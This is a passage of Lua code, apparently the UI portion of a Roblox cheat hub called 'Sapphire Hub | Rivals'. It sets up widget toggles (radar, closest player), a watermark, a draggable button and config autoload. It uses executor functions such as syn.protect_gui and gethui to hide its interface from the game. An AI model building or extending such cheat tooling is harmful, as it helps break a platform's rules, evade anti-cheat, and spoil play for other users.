'velocity'; Default = false; Callback = function(v) setWidgetVisible(VelocityWidget, v) end; }); box:AddToggle('WidgetClosestPlayer', { Text = 'closest player'; Default = false; Callback = function(v) setWidgetVisible(TargetWidget, v) end; }); local wmbox = Tabs['UI Settings']:AddRightGroupbox('watermark'); wmbox:AddToggle('WatermarkFps', { Text = 'show fps'; Default = true; Callback = function(v) getgenv().FourHub_wm = getgenv().FourHub_wm or {}; getgenv().FourHub_wm.fps = v; end; }); wmbox:AddToggle('WatermarkPing', { Text = 'show ping'; Default = true; Callback = function(v) getgenv().FourHub_wm = getgenv().FourHub_wm or {}; getgenv().FourHub_wm.ping = v; end; }); wmbox:AddToggle('WatermarkTime', { Text = 'show time'; Default = true; Callback = function(v) getgenv().FourHub_wm = getgenv().FourHub_wm or {}; getgenv().FourHub_wm.time = v; end; }); wmbox:AddToggle('WatermarkExecutor', { Text = 'show executor'; Default = false; Callback = function(v) getgenv().FourHub_wm = getgenv().FourHub_wm or {}; getgenv().FourHub_wm.executor = v; end; }); end); pcall(function() local toggleGui = Instance.new('ScreenGui'); toggleGui.Name = 'FourHub_toggle'; toggleGui.ResetOnSpawn = false; toggleGui.ZIndexBehavior = Enum.ZIndexBehavior.Global; toggleGui.DisplayOrder = 100000; pcall(function() if syn and syn.protect_gui then syn.protect_gui(toggleGui); end; end); local parented = pcall(function() toggleGui.Parent = (gethui and gethui()) or cloneref(game:GetService('CoreGui')); end); if not parented then pcall(function() toggleGui.Parent = cloneref(game:GetService('CoreGui')); end); end; getgenv().FourHub_toggle_gui = toggleGui; local btn = Library:Create('TextButton', { Name = 'FourHubMobileToggle'; Size = UDim2.fromOffset(182, 36); Position = UDim2.fromOffset(12, 12); BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderSizePixel = 1; AutoButtonColor = false; Text = 'Sapphire Hub | Rivals'; TextColor3 = Library.FontColor; TextSize = 11; TextXAlignment = Enum.TextXAlignment.Center; TextYAlignment = Enum.TextYAlignment.Center; ZIndex = 5000; Parent = toggleGui; }); Library:AddToRegistry(btn, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; TextColor3 = 'FontColor'; }); local bar = Library:Create('Frame', { BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; Size = UDim2.new(1, 0, 0, 2); ZIndex = 5001; Parent = btn; }); Library:AddToRegistry(bar, { BackgroundColor3 = 'AccentColor' }); btn.MouseButton1Click:Connect(function() pcall(function() Library:Toggle() end) end); pcall(function() Library:MakeDraggable(btn) end); end); pcall(function() local holder = Window and Window.Holder; if not holder or holder:FindFirstChild('FourHubMainResizer') then return end; local uis = game:GetService('UserInputService'); local handle = Instance.new('Frame'); handle.Name = 'FourHubMainResizer'; handle.AnchorPoint = Vector2.new(1, 1); handle.Position = UDim2.new(1, 0, 1, 0); handle.Size = UDim2.fromOffset(12, 12); handle.BackgroundTransparency = 1; handle.BorderSizePixel = 0; handle.ZIndex = 9999; handle.Active = true; handle.Parent = holder; local dragging, startPos, startSize = false, nil, nil; local isTouchUi = uis.TouchEnabled and not uis.MouseEnabled; local minResizeW = isTouchUi and 320 or 480; local minResizeH = isTouchUi and 260 or 360; handle.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true; startPos = input.Position; startSize = holder.AbsoluteSize; end; end); uis.InputChanged:Connect(LPH_NO_VIRTUALIZE(function(input) if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then local d = input.Position - startPos; holder.Size = UDim2.fromOffset( math.max(minResizeW, startSize.X + d.X), math.max(minResizeH, startSize.Y + d.Y) ); end; end)); uis.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = false; end; end); end); pcall(function() Library.AccentColor = BRAND_ACCENT; if Options and Options.AccentColor and Options.AccentColor.SetValueRGB then Options.AccentColor:SetValueRGB(BRAND_ACCENT); end; Library:UpdateColorsUsingRegistry(); end); pcall(function() Library:SetOverlayGlowColor(Library.AccentColor) end); local function widgetToggleOn(idx) local t = Toggles and Toggles[idx]; return t ~= nil and t.Value == true; end; pcall(function() Library:SetWatermarkVisibility(widgetToggleOn('WidgetWatermark')) end); setWidgetVisible(RadarWidget, widgetToggleOn('WidgetRadar')); setWidgetVisible(PlayerWidget, widgetToggleOn('WidgetPlayerList')); setWidgetVisible(VelocityWidget, widgetToggleOn('WidgetVelocity')); setWidgetVisible(KeybindWidget, false); setWidgetVisible(TargetWidget, widgetToggleOn('WidgetClosestPlayer')); setWidgetVisible(AppearanceWidget, widgetToggleOn('WidgetAppearance')); end)(); pcall(function() SaveManager:LoadAutoloadConfig() end); end; end; end